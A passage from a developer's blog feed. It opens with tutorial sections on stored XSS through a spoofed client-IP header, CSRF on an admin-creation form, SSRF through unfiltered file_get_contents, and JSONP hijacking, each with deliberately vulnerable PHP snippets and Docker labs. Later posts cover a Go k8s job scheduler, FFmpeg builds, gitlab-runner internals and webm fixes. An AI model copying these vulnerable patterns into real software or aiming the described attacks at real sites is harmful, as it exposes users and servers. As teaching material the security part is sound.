$sql = "INSERT INTO xss.message (content, ip) VALUES ('$content', '$ipaddress')";
$conn->query($sql);

Looks fine. We already encode-filter content.²

Even if we submit HTML, it is escaped. Submit <script>alert(1)</script> and the database stores <script>alert(1)</script>

No way around it? There is.

The code also stores the client IP. That is the bug. CLIENT-IP and X_FORWARDED_FOR are user-controlled. Install the ModHeader extension:

Change the header, submit again, and it is stored unescaped:

Docker lab

CSRF

Think of CSRF as making someone else do the killing. It usually shows up in form submissions. Open-source projects, especially CMS software, are common.

<form method="post" action="addAdminUser.php">
  <div class="input-group">
    <label for="username">Admin account to add: </label>
    <input type="input" name="username">
  </div>
  <div class="input-group">
    <label for="password">Admin password to add: </label>
    <input type="password" name="password">
  </div>
  <div class="input-group">
    <button type="submit">Add</button>
  </div>
</form>

The form lives in the admin backend and adds an admin account. addAdminUser.php checks the current user’s cookies. Non-admins cannot add anyone.

The form has no captcha and no token, and addAdminUser.php does not check Referer.

That is a CSRF bug.

When the browser requests a resource, it attaches unexpired cookies. So a request to add an admin from another site still carries the logged-in cookies. The server treats it as you (the cookie check passed).

Why CORS does not help: this kind of request cannot read the response, so CORS does not block it. An Ajax request would be blocked, because Ajax can read the response.

Besides form, what else works? The W3C CORS spec says:

A simple cross-origin request has been defined as congruent with those which may be generated by currently deployed user agents that do not conform to this specification. Simple cross-origin requests generated outside this specification (such as cross-origin form submissions using GET or POST or cross-origin GET requests resulting from script elements) typically include user credentials, so resources conforming to this specification must always be prepared to expect simple cross-origin requests with credentials.

––See w3c cors for details.

That is a bit vague, so here is the extra: form submissions with GET or POST, and GET requests caused by HTML tags such as a and img, almost always carry user credentials (cookies).

Docker lab

SSRF

SSRF is not far from CSRF. CSRF targets the user on the client. SSRF targets the server itself.

It usually shows up in features that fetch and return a user-controlled resource.

Examples: view page source online, fetch the title of a user-supplied link, translate a page online.

<script>
  // dynamically build the url from the url
  function seeCode() {
    const url = document.getElementsByTagName('input')[0].value;
    location.href = location.origin + location.pathname + '?url=' + url
  }
</script>

<input type="text" placeholder="Enter the URL of the site whose source you want to view"/>
<button onclick="seeCode()">View</button>
<?php
  $url = $_GET['url'];
  if ("" == trim($url)) {
    return;
  }

  // get the content
  $websiteCode = file_get_contents($url);

  // encode and store into the textarea
  echo "<textarea>".htmlspecialchars($websiteCode, ENT_QUOTES)."</textarea>";
?>

There is no filtering of user input. You can pass http://192.168.1.2 and reach an internal host. The fetch runs on the server, and the server can reach other machines on the same LAN.

Docker lab

JSON hijacking

JSON hijacking is the same idea as CSRF.³

The main difference from CSRF is that JSON hijacking also abuses JSONP.

<?php
  require 'utils.php';

  // authenticate the user and fetch user info
  $result = getUserInfo();
  if (count($result) != 3) {
    echo "";
    exit();
  }

  $fnName = $_GET['callback'];
  if ("" == trim($fnName)) {
    echo "";
    exit();
  }

	// outputs: getInfo({"name": name, "balance": balance });
  echo "$fnName({name: '$result[0]', balance: '$result[2]'})";
?>

<script>
  function getInfo(data) {
    console.log(data); // {"name": name, "balance": balance}
  }
</script>
<script src="./json.php?callback=getInfo"></script>

If an attacker hosts a page that also includes <script src="http://xxx/json.php?callback=getInfo"></script>

Per the W3C CORS spec above, if the user is already logged in and then opens the attacker’s link, the attacker can read sensitive data they should not have.

Docker lab

DOM XSS is a kind of reflected XSS. People usually just say reflected XSS, and only split them when they need a finer cut. ↩
htmlspecialchars(string,ENT_QUOTES) encodes like this: & becomes &, " becomes ", ' becomes ', < becomes <, > becomes >. ↩
Same in the sense that the bug is born the same way: requests from tags still carry user credentials. ↩

Flexible scheduling of a k8s cluster based on task volume

bh@bugs.cc (Kevin Cui) — Tue, 20 Aug 2019 06:55:19 GMT

Intro

We recently needed to further control k8s cluster resources for a project, to avoid waste.

The project needs a lot of resources: 3 CPU cores and 2G of memory. At first there was no flexible scheduling. The Pod stayed running even when there was no work. Requests and Limits under k8s Resources can cut some of that, but you still waste some resources.

Workflow

Before the main text, a quick walk through the flow, so the rest makes sense.

Another team inserts a row into the database. A scheduler periodically scans the database. When it sees a new row, it calls the k8s API to create a Job. The Job has a Pod, and the Pod does the work, then exits.

Simple on the surface, but a few things matter:

The Pod needs environment variables, and the Pod is created by the scheduler, so those values have to be passed through
The scheduler must not change any data. It only reads from the database. That is for decoupling. The scheduler should not care about business logic or data
The scheduler itself must not hold any state. Once you have state, you need somewhere to store it, including across scheduler restarts. That only adds burden.
You need to consider whether the cluster still has resources to start another Pod

Implementation

The scheduler is written in GoLang, so the rest uses Go.

Set up a debuggable k8s environment

Because this is Go, I used the official k8s client-go library. The library already has helpers for creating a clientset.¹

package main

import (
  "fmt"

  "k8s.io/client-go/kubernetes"
  "k8s.io/client-go/rest"
  "k8s.io/client-go/tools/clientcmd"
)

func main() {
  // this method contains k8s's own configuration operations for the Cluster
  kubeConfig, err := rest.InClusterConfig()

  if err != nil {
    // in a dev environment, use the current minikube. The KUBECONFIG variable must be set
    // for minikube, KUBECONFIG can point to $HOME/.kube/config
    kubeConfig, err = clientcmd.NewNonInteractiveDeferredLoadingClientConfig(
      clientcmd.NewDefaultClientConfigLoadingRules(),
      &clientcmd.ConfigOverrides{}).ClientConfig()

    // KUBECONFIG is not set, and we are not running inside a cluster either
    if err != nil {
      panic("get k8s config fail: " + err.Error())
    }
  }

  // failed to create clientset
  clientset, err := kubernetes.NewForConfig(kubeConfig)
  if err != nil {
    panic("failed to create k8s clientset: " + err.Error())
  }

  // created successfully
  fmt.Println(clientset)
}

rest.InClusterConfig() is also simple: it reads token and ca from /var/run/secrets/kubernetes.io/serviceaccount/ on the current machine, plus KUBERNETES_SERVICE_HOST and KUBERNETES_SERVICE_PORT, then joins them. If you are curious, see the source.

From the above, rest.InClusterConfig() is for a machine that is already in the cluster. That will not work in a local dev environment, so we need another path.

I already handled that above. When InClusterConfig fails, it falls through to:

kubeConfig, err = clientcmd.NewNonInteractiveDeferredLoadingClientConfig(
  clientcmd.NewDefaultClientConfigLoadingRules(),
  &clientcmd.ConfigOverrides{}).ClientConfig()

This is also simple: read KUBECONFIG from the environment for the local k8s config path. If that variable is missing, use .kube/config in the current user’s home. Then turn that file into the config we need. Main source: NewDefaultClientConfigLoadingRules, ClientConfig

As long as you have a local minikube, you can debug and develop.²

Create Job and Pod

I will not go into the database query. Adapt it to your own business. This is only a starting point. It does not have to be a database. Anything works; it depends on what fits the business.

Assume we got a row from the database and need to pass those values into the Pod, so the Pod does not query again. First define the Job:

import (
  batchv1 "k8s.io/api/batch/v1"
  apiv1 "k8s.io/api/core/v1"
  "k8s.io/apimachinery/pkg/api/resource"
  metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
)

// config required by the job
type JobsSpec struct {
  Namespace string
  Image     string
  Prefix    string
}

// returns the specified cpu and memory resource values
// style follows k8s, see: https://github.com/kubernetes/kubernetes/blob/b3875556b0edf3b5eaea32c69678edcf4117d316/pkg/kubelet/cm/helpers_linux_test.go#L36-L53
func getResourceList(cpu, memory string) apiv1.ResourceList {
  res := apiv1.ResourceList{}
  if cpu != "" {
    res[apiv1.ResourceCPU] = resource.MustParse(cpu)
  }
  if memory != "" {
    res[apiv1.ResourceMemory] = resource.MustParse(memory)
  }
  return res
}

// returns a ResourceRequirements object; see the getResourceList comment for details
func getResourceRequirements(requests, limits apiv1.ResourceList) apiv1.ResourceRequirements {
  res := apiv1.ResourceRequirements{}
  res.Requests = requests
  res.Limits = limits
  return res
}

// convert to pointer
func newInt64(i int64) *int64 {
  return &i
}

// config for creating the job
// returns the specified cpu and memory resource values
// style follows k8s, see: https://github.com/kubernetes/kubernetes/blob/b3875556b0edf3b5eaea32c69678edcf4117d316/pkg/kubelet/cm/helpers_linux_test.go#L36-L53
func getResourceList(cpu, memory string) apiv1.ResourceList {
  res := apiv1.ResourceList{}
  if cpu != "" {
    res[apiv1.ResourceCPU] = resource.MustParse(cpu)
  }
  if memory != "" {
    res[apiv1.ResourceMemory] = resource.MustParse(memory)
  }
  return res
}

// returns a ResourceRequirements object; see the getResourceList comment for details
func getResourceRequirements(requests, limits apiv1.ResourceList) apiv1.ResourceRequirements {
  res := apiv1.ResourceRequirements{}
  res.Requests = requests
  res.Limits = limits
  return res
}

// config required by the job
type jobsSpec struct {
  Namespace string
  Image     string
  Prefix    string
}

// config for creating the job
func (j *jobsSpec) Create(envMap map[string]string) *batchv1.Job {
  u2 := uuid.NewV4().String()[:8]
  name := fmt.Sprint(j.Prefix, "-", u2)

  return &batchv1.Job{
    ObjectMeta: metav1.ObjectMeta{
      Name:      name,
      Namespace: j.Namespace,
    },
    Spec: batchv1.JobSpec{
      Template: apiv1.PodTemplateSpec{
        Spec: apiv1.PodSpec{
          RestartPolicy: "Never",
          Containers: []apiv1.Container{
            {
              Name:            name,
              Image:           j.Image,
              Env:             EnvToVars(envMap),
              ImagePullPolicy: "Always",
              Resources:       getResourceRequirements(getResourceList("2500m", "2048Mi"), getResourceList("3000m", "2048Mi")),
            },
          },
        },
      },
    },
  }
}

Not much to say here. It is mostly resource definitions, and there are comments above.

The code above is missing a piece: injecting variables. That is EnvToVars. Core code:

// convert an object into the environment variable format k8s accepts
func EnvToVars(envMap map[string]string) []v1.EnvVar {
  var envVars []v1.EnvVar
  for k, v := range envMap {
    envVar := v1.EnvVar{
      Name:  k,
      Value: v,
    }
    envVars = append(envVars, envVar)
  }
  return envVars
}

// get all variables of the current system and convert them into a map
func GetAllEnvToMap() map[string]string {
  item := make(map[string]string)
  for _, k := range os.Environ() {
    splits := strings.Split(k, "=")
    item[splits[0]] = splits[1]
  }

  return item
}

// merge two maps; use a closure for better performance, so sourceMap only needs to be passed once
func MergeMap(sourceMap map[string]string) func(insertMap map[string]string) map[string]string {
  return func(insertMap map[string]string) map[string]string {
    for k, v := range insertMap {
      sourceMap[k] = v
    }

    return sourceMap
  }
}

Usage:

job := jobsSpec{
  Prefix:    "project-" + "dev" + "-job",
  Image:     "docker image name",
  Namespace: "default",
}

willMergeMap := MergeMap(GetAllEnvToMap())

// dbData is the data fetched from the database, roughly in this format
// [ { id: 1, url: 'xxx' }, { id: 2, url: 'yyy' } ]
for _, data := range dbData {
  currentEnvMap := willMergeMap(data)

  // create the Job
  _, err = api.CreateJob(currentEnvMap)

  if err != nil {
    panic("create job fail", err.Error())
  }
}

That passes the current environment and the row into the Pod as variables. You only need to make sure the scheduler has whatever the Pod might need, such as S3 Token and DB Host. This way the Pod does not have to care. The variables it needs come from the scheduler. Clear split of work.

Optimization

The above already covers the core. The logic is not hard. It is not enough on its own. There is more to consider.

Resource checks

One premise first: the scheduler must not change any data. Only the container in the Pod may change data.

That creates a problem.

If the cluster cannot allocate resources, the Pod stays Pending. Variables are already injected, and because the container never starts, the data is never updated. The scheduler keeps treating the row as new, and starts another Job for it, looping until the cluster has enough resources and one Pod updates the data.

Example: the database has a status field. When the value is wating, the scheduler treats it as new, injects it as environment variables into the Pod, and the Pod changes waiting to process. The scheduler scans every 3 minutes, so the Pod must update the row within 3 minutes.

If resources are short, k8s creates the Pod but the code inside never runs, so the data is never updated, and the scheduler keeps creating Pods for the same row.

The fix is simple: check whether any Pod is Pending. If so, do not create more. Core code:

func HavePendingPod() (bool, error) {
  // get all pods in the current namespace
  pods, err := clientset.CoreV1().Pods(Namespace).List(metaV1.ListOptions{})
  if err != nil {
    return false, err
  }

  // loop over the pods and check whether each one matches the current prefix; if so, this environment already has a Pending pod
  for _, v := range pods.Items {
    phase := v.Status.Phase
    if phase == "Pending" {
      if strings.HasPrefix(v.Name, Prefix) {
        return true, nil
      }
    }
  }

  return false, nil
}

When this is true, do not create a Job.

Max Job count

Cluster resources are not infinite. We handled Pending, but that is only a defense. We still need a cap: when the Job count hits a value, stop creating Jobs. The code is simple. Here is how to get the Job count in the current environment:

// get the job Item instances of the same environment in the current namespace
func GetJobListByNS() ([]v1.Job, error) {
  var jobList, err = clientset.BatchV1().Jobs(Namespace).List(metaV1.ListOptions{})
    if err != nil {
    return nil, err
  }

  // filter out Jobs that do not share the prefix
  var item []v1.Job
  for _, v := range jobList.Items {
    if strings.HasPrefix(v.Name, Prefix) {
      item = append(item, v)
    }
  }

  return item, nil
}

func GetJobLenByNS() (int, error) {
  jobItem, err := api.GetJobListByNS()
  if err != nil {
      return maxValue, err
  }

  return len(jobItem), nil
}

Delete completed and failed Jobs

The code above is wrong in one way. A k8s Job does not delete itself when it succeeds or fails. Even after it finishes, the object stays. So the code above also counts completed and failed Jobs. Eventually you cannot create any more Jobs.

Two fixes. First, set spec.ttlSecondsAfterFinished on the Job so k8s garbage-collects finished and failed Jobs. That field only exists on newer versions, and we were on an old one. So the second approach: before counting, call the API to delete completed and failed Jobs:

func DeleteCompleteJob() error {
  jobItem, err := GetJobListByNS()
  if err != nil {
    return err
  }

  // without this property, deleting a job does not delete its pods
  propagationPolicy := metaV1.DeletePropagationForeground
  for _, v := range jobItem {
    // only delete jobs that have already finished
    if v.Status.Failed == 1 || v.Status.Succeeded == 1 {
      err := clientset.BatchV1().Jobs(Namespace).Delete(v.Name, &metaV1.DeleteOptions{
        PropagationPolicy: &propagationPolicy,
      })

      if err != nil {
        return err
      }
    }
  }

  return nil
}

Conclusion

The scheduler is simple. There is no need to extract it into a library. Once you have the idea, you can build a scheduler that fits your project.

Thanks to @qqshfox for the idea.

Think of clientset as a pipe to the cluster master. ↩
The approach above follows rook. ↩

Why ('b' + 'a' + + 'a' + 'a').toLowerCase() prints banana

bh@bugs.cc (Kevin Cui) — Thu, 15 Aug 2019 10:35:26 GMT

Intro

I was on Weibo today and saw someone post this:

('b' + 'a' + + 'a' + 'a').toLowerCase()
// "banana"

My first thought was that JavaScript would throw. It did not. So I got curious.

Analysis

After thinking about it, I figured it had to do with JavaScript operator precedence and implicit conversion.

So I looked up JavaScript operator precedence on MDN.

Here are the operators used in that snippet, with their precedence:

Precedence	Operator type	Associativity	Operator
20	Parentheses	n/a	`(...)`
16	Unary plus	Right to left	`+ ...`
13	Addition	Left to right	`... + ...`

OK, with that in mind, let’s break the expression apart.

First drop toLowerCase. That function is useless; it is only there to throw you off.

'b' + 'a' + + 'a' + 'a'
// to
'b' + 'a' + (+ 'a') + 'a'

That is the important part: unary plus binds tighter than addition, so I marked it with parentheses.

Here is what MDN says about unary plus:

The unary plus operator precedes its operand and evaluates it as a number. If the operand is not a number, it tries to convert it to one. Unary minus can also convert non-numeric types, but unary plus is the fastest way to convert other objects to numbers, and the recommended one, because it does not perform any extra operations on the number. It can convert strings to integers and floats, and it can also convert the non-string values true, false, and null. Decimal and hexadecimal strings can be converted to numbers. Negative numeric strings can be converted too (this does not apply to hex). If it cannot parse a value, the result is NaN.

Pay attention to these two bits: if the operand is not a number, it tries to convert it to a number and if it cannot parse a value, the result is NaN.

So + 'a' in the snippet becomes NaN. The steps:

'b' + 'a' + (+ 'a') + 'a'
// to
'b' + 'a' + Number('a') + 'a'
// to
'b' + 'a' + NaN + 'a'

Clearer already. Next comes implicit conversion. One of JavaScript’s rules for + is that if either operand is a string, the other is converted to a string too. So NaN goes through toString. What does that produce? ECMA-262 covers it:

In other words, NaN becomes "NaN". So the expression is now:

'b' + 'a' + NaN + 'a'
// to
'b' + 'a' + "NaN" + 'a'

Finally toLowerCase lowercases it, and you get banana.

From the fdk_aac encoder to automated static FFmpeg builds

bh@bugs.cc (Kevin Cui) — Mon, 15 Jul 2019 02:20:57 GMT

Intro

I have been doing some video-processing tasks at work, and ran into a requirement to extract the audio from an MP4 into AAC.

My first thought was that it was simple: just ffmpeg -i source.mp4 -vn -acodec copy sound.aac.

That turned out to be wrong. The AAC duration and the MP4 duration were completely different. See:

I also tried the methods on the internet, but none of them fixed it.

Analysis / fix

After testing, I found that different bit rates produced different AAC Duration values.

But how was I supposed to know what the bit rate was? So I traced it from the start.

First, the MP4 came from Webm, and the Webm video came from MediaRecorder.

I looked at the MediaRecorder API again and found this property:

audioBitsPerSecond: specifies the audio bit rate

OK, found it. I changed the code, added the audioBitsPerSecond property on the MediaRecorder interface, and set it to 128000, which is 128K.

Then I converted with the command below and checked the result:

ffmpeg -i source.mp4 -vn -acodec aac -b:a 128k -y sound.aac

That did not improve things…

Then I wondered whether, even with a constant bit rate, there was still some drift, so I changed 128k to 200k and tried:

Not only did it not fix it, it increased duration even more.

When I was close to giving up, rurico suggested trying the libfdk_aac encoder. So I recompiled FFmpeg to install the libfdk_aac encoder (extra encoders in FFmpeg require a rebuild).

It worked…

Statically compiling FFmpeg / automation

But that only worked on a Mac. I needed it to run on Ubuntu, and the thought of compiling all of FFmpeg on Ubuntu Docker already made my scalp tingle. (I spent 4 hours trying to compile FFmpeg with libfdk_aac on Ubuntu, and failed in the end.)

After I got home from work and finished dinner, I searched ubuntu build ffmpeg again and saw static build. It clicked.

So I looked for a ready-made statically built FFmpeg. There are some, but because of the libfdk_aac LICENSE, they generally do not include libfdk_aac.

Then I found an open source FFmpeg static build project on GitHub: ffmpeg-static

Testing showed it was fine, but from inside China every download, install, and compile was slow, so I remembered GitLab has a free runner. I created a project on GitLab for automatic builds.

You only need to add .gitlab-ci.yml to the project:

image: ubuntu:18.04

stages:
  - build

build-ubuntu:
  stage: build
  script:
    - apt-get update
    - apt-get install -yq bzip2 xz-utils perl tar wget git bc
    - apt-get install -yq autoconf automake build-essential cmake curl frei0r-plugins-dev gawk libfontconfig-dev libfreetype6-dev libopencore-amrnb-dev libopencore-amrwb-dev libsdl2-dev libspeex-dev libtheora-dev libtool libva-dev libvdpau-dev libvo-amrwbenc-dev libvorbis-dev libwebp-dev libxcb1-dev libxcb-shm0-dev libxcb-xfixes0-dev libxvidcore-dev lsb-release pkg-config texi2html yasm
    - git clone https://github.com/BlackHole1/ffmpeg-static
    - cd ffmpeg-static
    - chmod 777 *
    - ./build-ubuntu.sh -B
  artifacts:
    name: build
    paths:
      - ./ffmpeg-static/bin/*

Then push to GitLab, CI triggers automatically. Half an hour later, the result:

gitlab project: https://gitlab.com/BlackHole1/ffmpeg-static-build

GitLab Runner service registration and job capture

bh@bugs.cc (Kevin Cui) — Sat, 06 Jul 2019 08:12:58 GMT

Environment setup

You can follow https://docs.gitlab.com/runner/development/README.html to set this up. Note that the Go version is best kept at go1.8.7. With a newer Go version, the install may fail.

Command registration

When gitlab-runner registers a runner, it needs three commands: register, install, and start. install and start are only for service registration.

At the entry of main.go, it calls common.GetCommands()

That function registers commands. The core is:

Name is the command we register. Action is the method that runs after you invoke it.

To register a command, call RegisterCommand2(name, description, action type).

register

commands/register.go has an init function that registers register

newRegisterCommand must return something with Execute, which is the action for register.

It returns a RegisterCommand, and that type implements Execute.

s.askRunner() is the prompts you get after typing the command: gitlab-ci URL, token, description, tags.

Inside askRunner, after you finish typing, there is a check that the values can actually connect to GitLab CI.

Nothing much to say about that. After askRunner come askExecutor and askExecutorOptions. Those ask which executor you want, the prompt we all know: Please enter the executor: docker+machine, docker, docker-ssh, shell, docker-ssh+machine, kubernetes, parallels, ssh, virtualbox:

When you’re done, the values are saved to ~/.gitlab-runner/config.toml.

At this point GitLab CI is already configured. I’ll cover install and start next.

install/start

After registration, install installs the GitLab Runner service.

Look at commands/service.go:

The other commands are mostly registered here. Ignore those for now and look at install and start.

Both of them run RunServiceControl. That function is short:

install is special: it also calls runServiceInstall, which checks config.toml and the current user. Not much to say. It then calls service.Control(s, c.Command.Name). That method comes from github.com/ayufan/golang-kardianos-service, a library for registering OS services. So gitlab-runner install is registering a service whose job is to keep gitlab-runner running in the background and start it on boot.

After the service is registered, gitlab-runner start starts it.¹

When we call service.Control(s, 'start'), it runs s.Start(), which starts the service. Starting a service also needs a command line, so the system knows which command is the service. The code is:

Arguments is an array. The first element is run, and the rest are run’s flags.

So when we use gitlab-runner start, internally it uses run as the service command. Here’s Run:

mr.feedRunners(runners) is just a heartbeat. Nothing to say.

mr.startWorkers(startWorker, stopWorker, runners) is the main path. After 5 or 6 calls, it ends up in RequestJob. That’s the real work.

This sends a request asking GitLab whether there is a new job. If there is, it returns the response.

Somewhere on the call chain, a method loops this function, which is how you get polling.²

The end result: after gitlab-runner starts, it keeps polling GitLab, asking whether there is a new job.

This could have been folded into install; I don’t know why the GitLab docs didn’t. ↩
I used to think this was a websocket. It’s polling. Compatibility, maybe? ↩

Production deploy time checks with GitLab CI

bh@bugs.cc (Kevin Cui) — Sat, 06 Jul 2019 08:10:32 GMT

Background

At the company, a lot of projects have a hard rule for production deploys: Thursday and Friday need an email approval to ship to production, Saturday and Sunday are off-limits, and Monday through Wednesday you cannot ship between 5pm and 9pm.

The point is to cut the risk of shipping when not enough people are around.

The only enforcement was each team’s self-discipline, and self-discipline is not a reliable control. I think we needed an actual constraint to bring that down.

Goal

With the background set, we need a goal. That is: on some branches, at some times, CI should not auto-build.

My first idea was a git hook. That got rejected, because:

pre-commit only sees commit time, not push time
pre-push could work, but anyone can skip it with --no-verify, and that skip is available to every member of the team.
It cannot really handle merge. The usual trick online is checking for a Merge string in prepare-commit-msg, which is not reliable

Ideally, nobody on the team can control this, meaning it cannot be bypassed. The git hook approach all runs on each person’s machine, so there are all kinds of ways around it.

If local checks cannot meet the goal, the check has to live in gitlab-ci.

Implementation

One prerequisite: only some people on the team can change CI, and there must be code review. You need both before going any further.

Add these two variables under CI Variables:

NOT_SUPPORT_HOUR 17,18,19,20,21
NOT_SUPPORT_WEEK 4,5,6,0

Those variables are how you enforce only some people can change CI.

Then add a check_deploy stages in .gitlab-ci.yml, along with the related pip

stages:
 - check_deploy
check_time:
  image: busybox
  stage: check_deploy
  script:
    - export TZ=UTC-8
    - export CURRENT_WEEK=$(date '+%w')
    - export CURRENT_HOUR=$(date '+%H')
    - if [ $(echo $NOT_SUPPORT_HOUR | grep "${CURRENT_HOUR}") ]; then exit 126; fi;
    - if [ $(echo $NOT_SUPPORT_WEEK | grep "${CURRENT_WEEK}") ]; then exit 126; fi;
  only:
    - master

It boots a busybox container, compares the current time against the blocked windows, and exits with 126 if you are inside one. It only applies to the deploy branch (master here).

That also matches the earlier point: there must be code review.

The approach still has holes: the two prerequisites above, and that this kind of restriction should not live at the team level. Ideally no team can change it; real control should sit one layer up. I don’t have a good way to pull that layer in yet, so this is how we gate deploys for now.

Webm progress bar issue, analysis and a fix

bh@bugs.cc (Kevin Cui) — Tue, 21 May 2019 07:30:21 GMT

Intro

When we generate a webm with getUserMedia, MediaRecorder, and similar APIs, the resulting webm cannot seek. Unless you convert it with FFmpeg to another format, or wait until the webm finishes playing, then you can drag the progress bar.

Analysis

After a few hours of digging, it was not a misuse of MediaRecorder. Other demos on the web produce the same broken webm.

I first focused on the progress bar, found nothing online, tried all kinds of keywords, still nothing.

Then I thought of analyzing the file with FFmpeg. I ran ffprobe rebirth-demo.webm:

$ ffprobe rebirth-demo.webm
ffprobe version 4.1.3 Copyright (c) 2007-2019 the FFmpeg developers
  built with Apple LLVM version 10.0.1 (clang-1001.0.46.4)
  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags='-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin' --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr
  libavutil      56. 22.100 / 56. 22.100
  libavcodec     58. 35.100 / 58. 35.100
  libavformat    58. 20.100 / 58. 20.100
  libavdevice    58.  5.100 / 58.  5.100
  libavfilter     7. 40.101 /  7. 40.101
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  3.100 /  5.  3.100
  libswresample   3.  3.100 /  3.  3.100
  libpostproc    55.  3.100 / 55.  3.100
Input #0, matroska,webm, from 'rebirth-demo.webm':
  Metadata:
    encoder         : Chrome
  Duration: N/A, start: 0.000000, bitrate: N/A
    Stream #0:0(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
    Stream #0:1(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      alpha_mode      : 1

Here is the key: Duration and bitrate are both N/A, which is wrong. I searched webm duration and found plenty of write-ups.

The gist is that getUserMedia and MediaRecorder do not write Duration and bitrate into the webm, which causes this.

Solutions

1. Compute duration and assign it to the `blob`

The idea is: record a start time on start, subtract it from now on stop, and assign that duration to the blob. See: fix-webm-duration

2. Give the audio element a large duration

While playing the webm, you can dynamically give audio a huge duration. This only works in chrome right now. See: How can I add predefined length to audio recorded from MediaRecorder in Chrome?

3. Seek to the end, then back to the start

As above, once the video has played through, seeking works. So you can just seek with JS. See: hello-its-me

4. Fix it with ffmpeg

The first command is: ffmpeg -i rebirth-demo.webm xixi.webm, but it is slow, not recommended. A 30 second video takes about 3 minutes.

The second command is: ffmpeg -i rebirth-demo.webm -vcodec copy -acodec copy new_rebirth-demo.webm. This is fast, because it copies instead of converting:

ffmpeg -i rebirth-demo.webm  -vcodec copy -acodec copy new_rebirth-demo.webm
ffmpeg version 4.1.3 Copyright (c) 2000-2019 the FFmpeg developers
  built with Apple LLVM version 10.0.1 (clang-1001.0.46.4)
  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags='-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin' --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr
  libavutil      56. 22.100 / 56. 22.100
  libavcodec     58. 35.100 / 58. 35.100
  libavformat    58. 20.100 / 58. 20.100
  libavdevice    58.  5.100 / 58.  5.100
  libavfilter     7. 40.101 /  7. 40.101
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  3.100 /  5.  3.100
  libswresample   3.  3.100 /  3.  3.100
  libpostproc    55.  3.100 / 55.  3.100
Input #0, matroska,webm, from 'rebirth-demo.webm':
  Metadata:
    encoder         : Chrome
  Duration: N/A, start: 0.000000, bitrate: N/A
    Stream #0:0(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
    Stream #0:1(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      alpha_mode      : 1
Output #0, webm, to 'new_rebirth-demo.webm':
  Metadata:
    encoder         : Lavf58.20.100
    Stream #0:0(eng): Video: vp8, yuv420p(progressive), 1920x1080 [SAR 1:1 DAR 16:9], q=2-31, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      alpha_mode      : 1
    Stream #0:1(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
Stream mapping:
  Stream #0:1 -> #0:0 (copy)
  Stream #0:0 -> #0:1 (copy)
Press [q] to stop, [?] for help
frame= 3589 fps=0.0 q=-1.0 Lsize=    2107kB time=00:01:59.92 bitrate= 143.9kbits/s speed=4.75e+03x
video:2053kB audio:16kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 1.849351%

$ ffprobe new_rebirth-demo.webm
ffprobe version 4.1.3 Copyright (c) 2007-2019 the FFmpeg developers
  built with Apple LLVM version 10.0.1 (clang-1001.0.46.4)
  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags='-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin' --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr
  libavutil      56. 22.100 / 56. 22.100
  libavcodec     58. 35.100 / 58. 35.100
  libavformat    58. 20.100 / 58. 20.100
  libavdevice    58.  5.100 / 58.  5.100
  libavfilter     7. 40.101 /  7. 40.101
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  3.100 /  5.  3.100
  libswresample   3.  3.100 /  3.  3.100
  libpostproc    55.  3.100 / 55.  3.100
Input #0, matroska,webm, from 'new_rebirth-demo.webm':
  Metadata:
    ENCODER         : Lavf58.20.100
  Duration: 00:01:59.96, start: 0.000000, bitrate: 143 kb/s
